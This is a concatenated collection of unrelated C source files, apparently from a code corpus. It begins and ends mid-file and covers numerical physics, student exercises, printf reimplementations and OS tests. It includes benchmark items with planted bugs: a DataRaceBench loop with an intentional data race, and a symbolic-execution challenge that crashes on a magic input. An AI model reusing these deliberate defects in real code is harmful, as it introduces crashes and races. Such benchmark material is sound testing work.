FF_partitionFunction_ZxPPrime_div_Zx(4); /**************************/ /** compute equation (3) **/ /**************************/ temp = Z1Prime_div_Z1/(1.0+Z2/Z1+Z3/Z1+Z4/Z1); temp += Z2Prime_div_Z2/(Z1/Z2+1.0+Z3/Z2+Z4/Z2); temp += Z3Prime_div_Z3/(Z1/Z3+Z2/Z3+1.0+Z4/Z3); temp += Z4Prime_div_Z4/(Z1/Z4+Z2/Z4+Z3/Z4+1.0); /*****************************/ /** compute internal energy **/ /*****************************/ internalEnergy = temp*J/(M*N); internalEnergy += J/tanh(2.0*K); internalEnergy *= -1.0; /**************************/ /** compute equation (4) **/ /**************************/ specificHeat = Z1PPrime_div_Z1/(1.0+Z2/Z1+Z3/Z1+Z4/Z1); specificHeat += Z2PPrime_div_Z2/(Z1/Z2+1.0+Z3/Z2+Z4/Z2); specificHeat += Z3PPrime_div_Z3/(Z1/Z3+Z2/Z3+1.0+Z4/Z3); specificHeat += Z4PPrime_div_Z4/(Z1/Z4+Z2/Z4+Z3/Z4+1.0); /***************************/ /** compute specific heat **/ /***************************/ specificHeat -= temp*temp; specificHeat *= K*K/(M*N); specificHeat -= 2.0*K*K/(sinh(2.0*K)*sinh(2.0*K)); /******************************/ /** printf results to STDOUT **/ /******************************/ printf("%Lf\t%.15Le\t%.15Le\n",K,internalEnergy,specificHeat); return 0; }
the_stack_data/17125.c
//gj2007.c int main() { int x = 0; int y = 50; while (x < 100) { if (x < 50) { x = x + 1; } else { x = x + 1; y = y + 1; } } assert(y == 100); return 0; }
the_stack_data/1181203.c
/* Copyright (c) 2017, Lawrence Livermore National Security, LLC. Produced at the Lawrence Livermore National Laboratory Written by Chunhua Liao, Pei-Hung Lin, Joshua Asplund, Markus Schordan, and Ian Karlin (email: [email protected], [email protected], [email protected], [email protected], [email protected]) LLNL-CODE-732144 All rights reserved. This file is part of DataRaceBench. For details, see https://github.com/LLNL/dataracebench. Please also see the LICENSE file for our additional BSD notice. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the disclaimer below. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the disclaimer (as noted below) in the documentation and/or other materials provided with the distribution. * Neither the name of the LLNS/LLNL nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL LAWRENCE LIVERMORE NATIONAL SECURITY, LLC, THE U.S. DEPARTMENT OF ENERGY OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ /* A two-level loop nest with loop carried anti-dependence on the outer level. Data race pair: a[i][j]@67:7 vs. a[i+1][j]@67:18 */ #include <stdio.h> #include <stdlib.h> int main(int argc,char *argv[]) { int i, j; int len = 20; double a[20][20]; #pragma omp parallel for private(i, j) for (i=0; i< len; i++) #pragma omp parallel for private(j) for (j=0; j<len; j++) a[i][j] = (i * len + j + 0.5); for (i = 0; i < len - 1; i += 1) { #pragma omp parallel for for (j = 0; j < len ; j += 1) { a[i][j] += a[i + 1][j]; } } for (i=0; i< len; i++) for (j=0; j<len; j++) printf("%lf",a[i][j]); printf ("a[10][10]=%f\n", a[10][10]); return 0; }
the_stack_data/30663.c
#include <stdio.h> /* copy input to output; first version */ int main() { int c; c = getchar(); while (c != EOF) { putchar(c); c = getchar(); } return 0; }
the_stack_data/95450052.c
// // Copyright (c) 2018 by Dejan Radmanovic (SuppresSF0rcE). // All Rights Reserved. // // This file is part of RafOS and is released under the terms // of the NSCA License - See LICENSE.md for more info // #include <limits.h> #include <stdbool.h> #include <stdarg.h> #include <stdio.h> #include <string.h> static bool print(const char* data, size_t length) { const unsigned char* bytes = (const unsigned char*) data; for (size_t i = 0; i < length; i++) if (putchar(bytes[i]) == EOF) return false; return true; } /*============================================================================== ==============================================================================*/ int printf(const char* restrict format, ...) { va_list parameters; va_start(parameters, format); int written = 0; while (*format != '\0') { size_t maxrem = INT_MAX - written; if (format[0] != '%' || format[1] == '%') { if (format[0] == '%') format++; size_t amount = 1; while (format[amount] && format[amount] != '%') amount++; if (maxrem < amount) { // TODO: Set errno to EOVERFLOW. return -1; } if (!print(format, amount)) return -1; format += amount; written += amount; continue; } const char* format_begun_at = format++; if (*format == 'c') { format++; char c = (char) va_arg(parameters, int /* char promotes to int */); if (!maxrem) { // TODO: Set errno to EOVERFLOW. return -1; } if (!print(&c, sizeof(c))) return -1; written++; } else if (*format == 's') { format++; const char* str = va_arg(parameters, const char*); size_t len = strlen(str); if (maxrem < len) { // TODO: Set errno to EOVERFLOW. return -1; } if (!print(str, len)) return -1; written += len; } else { format = format_begun_at; size_t len = strlen(format); if (maxrem < len) { // TODO: Set errno to EOVERFLOW. return -1; } if (!print(format, len)) return -1; written += len; format += len; } } va_end(parameters); return written; }
the_stack_data/150990.c
#include <stdio.h> #include <stdlib.h> int main(){ int n,m,k,i,a,b,c; scanf("%d",&n); scanf("%d",&m); scanf("%d",&k); a=m; b=0; c=0; for(i=0;i<n;i++){ if(i!=0 && i%k==0){ c=c+2; m=a-(a*c/100);} b=b+m; } printf("%d\n",b); return 0; }
the_stack_data/451245.c
/* A preceding space will prevent scanf() from pushing a non-digit back into the buffer. It forces scanf() to read all the whitespace characters first during the user's input. */ #include <stdio.h> int main() { int n; char ch; printf("Enter a number: "); scanf("%d", &n); printf("Enter a character: "); scanf(" %c", &ch); // notice the preceding space printf("\n\n"); printf("n = %d\n", n); printf("c = %c\n", ch); system("pause"); return 0; }
the_stack_data/82949295.c
#include <stdio.h> #include <stdlib.h> int main(){ FILE *fr = fopen("empresaR.txt","r"); char nome[20], genero[20]; int idade; int total25 = 0, totalFeminino = 0, total = 0; while((fscanf(fr,"%s %s %d\n", nome,genero, &idade)) != EOF){ total++; } printf("Total de funcionarios: %d\n\n", total); fclose(fr); fr = fopen("empresaR.txt","r"); while((fscanf(fr,"%s %s %d\n", nome,genero, &idade)) != EOF ){ if (idade>=25){ printf("Nome do funcionario +25: %s idade: %d\n", nome, idade); total25++; } if(genero[0] != 'm'){ totalFeminino++; } } printf("\nTotal de funcionarios +25: %d\n\n", total25); printf("Total de funcionarias: %d", totalFeminino); fclose(fr); }
the_stack_data/100140116.c
unsigned char frame0000[]={// border,bg,chars,colors 14,6, 32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32, 32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32, 32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32, 32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32, 32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32, 32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32, 32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,108,81,81,123,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32, 32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,81,126,124,81,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32, 32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,81,123,108,81,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32, 32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,124,81,81,126,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32, 32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32, 32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,108,12,15,1,4,9,14,7,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32, 32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32, 32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32, 32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32, 32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32, 32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32, 32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32, 32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32, 32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32, 32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32, 32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32, 32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32, 32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32, 32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32, 14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14, 14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14, 14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14, 14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14, 14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14, 14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14, 14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,3,3,3,3,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14, 14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,1,3,3,3,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14, 14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,13,3,3,3,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14, 14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,7,3,3,3,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14, 14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14, 14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,1,1,1,1,1,1,1,1,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14, 14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14, 14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14, 14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14, 14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14, 14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14, 14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14, 14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14, 14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14, 14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14, 14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14, 14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14, 14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14, 14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14 }; // META: 40 25 C64 upper
the_stack_data/92324174.c
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> /* * Challenge 002 * This is an example that is very easy to solve with symbolic execution. The difference compared to 001 is that the input is now coming from a file instead of stdin. */ int func(char *buf, int len){ char type = buf[1]; if(type == 'X'){ printf("Type X\n"); } else if(type == 'Y'){ if(strncmp (buf+10, "CAFEBABE", 8)==0){ printf("Secret!\n"); return 1; } printf("Error no type detected\n"); } return 0; } int main(int argc, char** argv){ FILE *fileptr; char *buffer; long filelen; fileptr = fopen(argv[1], "rb"); if (!fileptr){ printf("Could not open file\n"); return 1; } fseek(fileptr, 0, SEEK_END); filelen = ftell(fileptr); rewind(fileptr); buffer = (char *)malloc((filelen+1)*sizeof(char)); fread(buffer, filelen, 1, fileptr); printf("Successfully read file\n"); if(filelen < 18) return 0; if(func(buffer, filelen)){ *((int *)0) = 0; } fclose(fileptr); return 0; }
the_stack_data/234517149.c
/* ************************************************************************** */ /* */ /* ::: :::::::: */ /* ft_strstr.c :+: :+: :+: */ /* +:+ +:+ +:+ */ /* By: hturkatr <[email protected]> +#+ +:+ +#+ */ /* +#+#+#+#+#+ +#+ */ /* Created: 2019/09/04 15:26:32 by hturkatr #+# #+# */ /* Updated: 2019/09/20 14:23:47 by hturkatr ### ########.fr */ /* */ /* ************************************************************************** */ static int ft_issub(const char *str, const char *to_find) { while (*str && *to_find) { if (*str != *to_find) return (0); str++; to_find++; } return (*to_find == '\0'); } char *ft_strstr(const char *str, const char *to_find) { if (!*to_find) return ((char*)str); while (*str != '\0') { if ((*str == *to_find) && ft_issub(str, to_find)) return ((char*)str); str++; } return (0); }
the_stack_data/101650.c
#include <stdio.h> #define MAX 1000001 int N; int arr[MAX]; int MIN(int a, int b) { return a < b ? a : b; } int main(void) { scanf("%d",&N); int tmp; for (int i=2;i<=N;i++) //arr[0]=arr[1]=1 { arr[i]=arr[i-1]+1; if (i%3==0) { tmp=arr[i/3]+1; arr[i]=MIN(arr[i],tmp); } if (i%2==0) { tmp=arr[i/2]+1; arr[i]=MIN(arr[i],tmp); } } printf("%d\n", arr[N]); }
the_stack_data/126116.c
#ifdef CS333_P3 /* Test written and supplied by Josh W. */ #include "types.h" #include "user.h" #include "uproc.h" int main(int argc,char *argv[]){ int ret = 1; for(int i = 0; i < 5; i++) { if(ret > 0){ printf(1, "Looping process created\n"); ret = fork(); }else{ break; } } if(ret > 0){ printf(1, "PRESS CTRL-R and CTRL-P TO SHOW LISTS\n"); printf(1, "-------------------------------------\n"); sleep(7*TPS); while(wait() != -1); } for(;;){ ret = 1 + 1; } exit(); } #endif
the_stack_data/126702988.c
/* * 选择--空语句 * */ #include <stdio.h> int main(void) { if (1 > 2); // ;表空语句 printf("语句一\n"); printf("语句二\n"); // IF-ELSE // 编译错误 // if(1 > 2); // printf("语句一\n"); // printf("语句二"); // else // printf("语句一\n"); // printf("语句二"); // if-else if -else // 多个分支条件有相同时,获取分支走向 if (3 > 1) printf("AAA\n"); // 输出 else if(3 > 2) printf("BBB"); // 不输出 // 无意义语句 if (3 > 1) printf("aaaa"); else (1 > 2); // 无意义语句 printf("bbbb"); return 0; } /* * 输出结果: * 语句一 语句二 * * */
the_stack_data/1210368.c
#ifdef HAVE_CONFIG_H # include "config.h" #endif #include <assert.h> #include <stdlib.h> #include <unistd.h> #include <sys/syscall.h> int main(void) { #if defined(__NR_getuid32) \ && defined(__NR_setuid32) \ && defined(__NR_getresuid32) \ && defined(__NR_setreuid32) \ && defined(__NR_setresuid32) \ && defined(__NR_chown32) \ && defined(__NR_getgroups32) int r, e, s; int size; int *list = 0; r = syscall(__NR_getuid32); assert(syscall(__NR_setuid32, r) == 0); assert(syscall(__NR_getresuid32, &r, &e, &s) == 0); assert(syscall(__NR_setreuid32, -1, -1L) == 0); assert(syscall(__NR_setresuid32, r, -1, -1L) == 0); assert(syscall(__NR_chown32, ".", -1, -1L) == 0); assert((size = syscall(__NR_getgroups32, 0, list)) >= 0); assert(list = calloc(size + 1, sizeof(*list))); assert(syscall(__NR_getgroups32, size, list) == size); return 0; #else return 77; #endif }
the_stack_data/154830977.c
/* Copyright (c) 2017, Lawrence Livermore National Security, LLC. Produced at the Lawrence Livermore National Laboratory Written by Chunhua Liao, Pei-Hung Lin, Joshua Asplund, Markus Schordan, and Ian Karlin (email: [email protected], [email protected], [email protected], [email protected], [email protected]) LLNL-CODE-732144 All rights reserved. This file is part of DataRaceBench. For details, see https://github.com/LLNL/dataracebench. Please also see the LICENSE file for our additional BSD notice. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the disclaimer below. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the disclaimer (as noted below) in the documentation and/or other materials provided with the distribution. * Neither the name of the LLNS/LLNL nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL LAWRENCE LIVERMORE NATIONAL SECURITY, LLC, THE U.S. DEPARTMENT OF ENERGY OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ /* tasks with depend clauses to ensure execution order, no data races. */ #include <stdio.h> #include <assert.h> #include <unistd.h> int main() { int i=0, j, k; #pragma omp parallel #pragma omp single { #pragma omp task depend (out:i) { sleep(3); i = 1; } #pragma omp task depend (in:i) j =i; #pragma omp task depend (in:i) k =i; } printf ("j=%d k=%d\n", j, k); assert (j==1 && k==1); return 0; }
the_stack_data/720668.c
#include <stdio.h> #include <stdlib.h> #include <time.h> #include <string.h> #include <math.h> typedef struct { char *nome; int pontos; char media; char *cartas; } Jogador; void inicializarMaos(Jogador *jogador, Jogador *computador, Jogador *mesa) { jogador->nome = NULL; jogador->pontos = 0; jogador->media = 'A'; jogador->cartas = (char *) malloc(sizeof(char)); jogador->cartas[0] = '\0'; computador->nome = NULL; computador->pontos = 0; computador->media = 'A'; computador->cartas = (char *) malloc(sizeof(char)); computador->cartas[0] = '\0'; mesa->nome = NULL; mesa->pontos = 0; mesa->media = 'A'; mesa->cartas = (char *) malloc(sizeof(char)); mesa->cartas[0] = '\0'; } int cartaRepetida(char carta, Jogador jogador, Jogador computador, Jogador mesa) { int repetido = 0; int i = 0; int tam = strlen(jogador.cartas); while (repetido == 0 && i < tam) { if (jogador.cartas[i] == carta) repetido++; i++; } i = 0; tam = strlen(computador.cartas); while (repetido == 0 && i < tam) { if (computador.cartas[i] == carta) repetido++; i++; } i = 0; tam = strlen(mesa.cartas); while (repetido == 0 && i < tam) { if (mesa.cartas[i] == carta) repetido++; i++; } return repetido; } char sortearCarta(Jogador jogador, Jogador computador, Jogador mesa) { char carta; do { carta = (rand() % 26) + 65; } while (cartaRepetida(carta, jogador, computador, mesa)); return carta; } char puxarCartaAleatoria(Jogador *j1, Jogador j2, Jogador mesa) { int tam = strlen(j1->cartas); j1->cartas = (char *) realloc(j1->cartas, (tam + 2) * sizeof(char)); j1->cartas[tam] = sortearCarta(*j1, j2, mesa); j1->cartas[tam + 1] = '\0'; return j1->cartas[tam]; } char puxarCarta(Jogador *j, char carta) { int tam = strlen(j->cartas); j->cartas = (char *) realloc(j->cartas, (tam + 2) * sizeof(char)); j->cartas[tam] = carta; j->cartas[tam + 1] = '\0'; return j->cartas[tam]; } void mesaPuxarCartaAleatoria(Jogador *mesa, Jogador j1, Jogador j2) { printf("Carta referencia: %c\n", puxarCartaAleatoria(mesa, j1, j2)); } void jogadorPuxarCartaAleatoria(Jogador *jogador, Jogador j, Jogador m) { printf("Jogador puxou a carta: %c\n", puxarCartaAleatoria(jogador, j, m)); } void jogadorPuxarCarta(Jogador *jogador, Jogador *computador, Jogador *mesa) { char carta; do { printf("Escolha uma carta que ainda nao saiu: "); scanf(" %c", &carta); } while (cartaRepetida(carta, *jogador, *computador, *mesa)); printf("Jogador puxou a carta: %c\n", puxarCarta(jogador, carta)); } void calcularMedia(Jogador *j) { int tam = strlen(j->cartas); int media = 0; for (int i = 0; i < tam; i++) { media += j->cartas[i]; } media /= tam; j->media = media; printf("Media das cartas do jogador: %c\n", j->media); } void calcularPontos(Jogador *j, Jogador m) { int novo = abs(j->media - m.cartas[strlen(m.cartas) - 1]); j->pontos += novo; printf("Jogador marcou %d pontos\n", novo); } void mostrarPlacar(Jogador jogador, Jogador computador, Jogador mesa) { printf("Jogador Cartas Media Pontos\n"); printf("Mesa %s\n", mesa.cartas); printf("Jogador %s %c %d\n", jogador.cartas, jogador.media, jogador.pontos); printf("Computador %s %c %d\n", computador.cartas, computador.media, computador.pontos); } void fimDeJogo(Jogador jogador, Jogador computador, Jogador mesa) { printf("Fim de jogo!\n"); if (jogador.pontos > computador.pontos) printf("O jogador ganhou!\n"); else if (jogador.pontos < computador.pontos) printf("O computador ganhou!\n"); else printf("Empate!\n"); } void liberarMemoria(Jogador *jogador, Jogador *computador, Jogador *mesa) { free(jogador->nome); free(jogador->cartas); free(computador->nome); free(computador->cartas); free(mesa->nome); free(mesa->cartas); } int main() { Jogador jogador, computador, mesa; time_t t; srand((unsigned) time(&t)); inicializarMaos(&jogador, &computador, &mesa); mesaPuxarCartaAleatoria(&mesa, jogador, computador); jogadorPuxarCartaAleatoria(&jogador, computador, mesa); calcularMedia(&jogador); jogadorPuxarCartaAleatoria(&computador, jogador, mesa); calcularMedia(&computador); calcularPontos(&jogador, mesa); calcularPontos(&computador, mesa); mostrarPlacar(jogador, computador, mesa); for (int i = 0; i < 4; i++) { mesaPuxarCartaAleatoria(&mesa, jogador, computador); jogadorPuxarCarta(&jogador, &computador, &mesa); calcularMedia(&jogador); jogadorPuxarCartaAleatoria(&computador, jogador, mesa); calcularMedia(&computador); jogadorPuxarCarta(&jogador, &computador, &mesa); calcularMedia(&jogador); jogadorPuxarCartaAleatoria(&computador, jogador, mesa); calcularMedia(&computador); calcularPontos(&jogador, mesa); calcularPontos(&computador, mesa); mostrarPlacar(jogador, computador, mesa); } fimDeJogo(jogador, computador, mesa); liberarMemoria(&jogador, &computador, &mesa); return 0; }
the_stack_data/685084.c
/* ************************************************************************** */ /* */ /* ::: :::::::: */ /* example_9.c :+: :+: :+: */ /* +:+ +:+ +:+ */ /* By: lpaulo-m <[email protected]> +#+ +:+ +#+ */ /* +#+#+#+#+#+ +#+ */ /* Created: 2021/02/24 03:07:41 by lpaulo-m@st #+# #+# */ /* Updated: 2021/03/05 04:34:43 by lpaulo-m ### ########.fr */ /* */ /* ************************************************************************** */ #include <limits.h> #include <stdio.h> #include "printf.h" void aroque_examples(void); int main(void) { aroque_examples(); } void aroque_examples(void) { int printf_return; /* No placeholders */ printf("No placeholders examples\n"); printf_return = printf("%05"); printf("printf_return: %d\n", printf_return); printf_return = ft_printf("%05"); printf("printf_return: %d\n", printf_return); printf("- - -"); printf_return = printf("%-05"); printf("printf_return: %d\n", printf_return); printf_return = ft_printf("%-05"); printf("printf_return: %d\n", printf_return); printf("- - -"); printf_return = printf("%-5"); printf("printf_return: %d\n", printf_return); printf_return = ft_printf("%-5"); printf("printf_return: %d\n", printf_return); printf("- - -"); printf_return = printf("%%\n"); printf("printf_return: %d\n", printf_return); printf_return = ft_printf("%%\n"); printf("printf_return: %d\n", printf_return); printf("- - -"); printf_return = printf("Test - No Args\n"); printf("printf_return: %d\n", printf_return); printf_return = ft_printf("Test - No Args\n"); printf("printf_return: %d\n", printf_return); printf("- - -"); printf("-----------------------\n"); /* c conversion */ printf("c conversion examples\n"); printf("%c\n", 'c'); ft_printf("%c\n", 'c'); printf("- - -"); printf("%5c\n", 'c'); ft_printf("%5c\n", 'c'); printf("- - -"); printf("%-5c\n", 'c'); ft_printf("%-5c\n", 'c'); printf("- - -"); printf("%c\n", '\0'); ft_printf("%c\n", '\0'); printf("- - -"); printf("%5c\n", '\0'); ft_printf("%5c\n", '\0'); printf("- - -"); printf("%-5c\n", '\0'); ft_printf("%-5c\n", '\0'); printf("- - -"); printf("%lc\n", 0xb1); ft_printf("%lc\n", 0xb1); printf("- - -"); printf("-----------------------\n"); /* pct conversion */ printf("pct conversion examples\n"); printf("%%\n"); ft_printf("%%\n"); printf("- - -"); printf("%8%\n"); ft_printf("%8%\n"); printf("- - -"); printf("%-8%\n"); ft_printf("%-8%\n"); printf("- - -"); printf("%08%\n"); ft_printf("%08%\n"); printf("- - -"); printf("%-08%\n"); ft_printf("%-08%\n"); printf("- - -"); printf("%%%%%%%%\n"); ft_printf("%%%%%%%%\n"); printf("- - -"); printf("%%%%%%%\n"); ft_printf("%%%%%%%\n"); printf("- - -"); printf("-----------------------\n"); /* p conversion */ printf("p conversion examples\n"); char a = 4; printf("%p\n", &a); ft_printf("%p\n", &a); printf("- - -"); printf("%.p\n", &a); ft_printf("%.p\n", &a); printf("- - -"); printf("%.5p\n", &a); ft_printf("%.5p\n", &a); printf("- - -"); printf("%4p\n", &a); ft_printf("%4p\n", &a); printf("- - -"); printf("%20p\n", &a); ft_printf("%20p\n", &a); printf("- - -"); printf("%-20p\n", &a); ft_printf("%-20p\n", &a); printf("- - -"); printf("%020p\n", &a); ft_printf("%020p\n", &a); printf("- - -"); printf("%p\n", NULL); ft_printf("%p\n", NULL); printf("- - -"); printf("%2p\n", NULL); ft_printf("%2p\n", NULL); printf("- - -"); printf("%5p\n", NULL); ft_printf("%5p\n", NULL); printf("- - -"); printf("%5.p\n", NULL); ft_printf("%5.p\n", NULL); printf("- - -"); printf("%2.9p\n", 1234); ft_printf("%2.9p\n", 1234); printf("- - -"); printf("%9.2p\n", 1234); ft_printf("%9.2p\n", 1234); printf("- - -"); printf("%%\n"); ft_printf("%%\n"); printf("- - -"); printf("Teste interessante\n"); 